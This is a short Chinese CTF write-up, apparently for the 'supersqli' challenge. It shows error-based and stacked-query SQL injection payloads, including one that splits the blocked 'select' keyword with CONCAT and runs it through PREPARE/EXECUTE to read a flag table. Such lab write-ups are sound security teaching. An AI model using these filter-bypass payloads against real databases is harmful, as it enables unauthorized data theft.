当使用union联合查询时,发现select等关键词被过滤,并且修改大小写、重写、加尖括号都没用:
既然select绕不过,就换种思路,使用报错注入试试
payload:1' and extractvalue(1,concat('~',database()))#
如上图所示,爆出了数据库名,但是接下去又无法注数据了,得再试试别的方法,果然,可以进行堆叠注入(可参考:https://blog.csdn.net/qq_43818615/article/details/103603021)
payload:-1';use supersqli;show tables;#
接着使用show语句查出字段名
payload:-1';use supersqli;show columns from `1919810931114514`;#
接着要查flag字段里的数据了,因为可以执行多条语句,将要执行的sql语句进行拼接,这样就可以将过滤的 sql关键字拆分绕过检测
payload:-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
注:set 语句为已存在的变量赋值,PREPARE创建SQL语句,EXECUTE执行SQL语句。sql中有一些保留字,当你的字段名是它的保留字时,这个时候sql语句的字段不加``就会报错。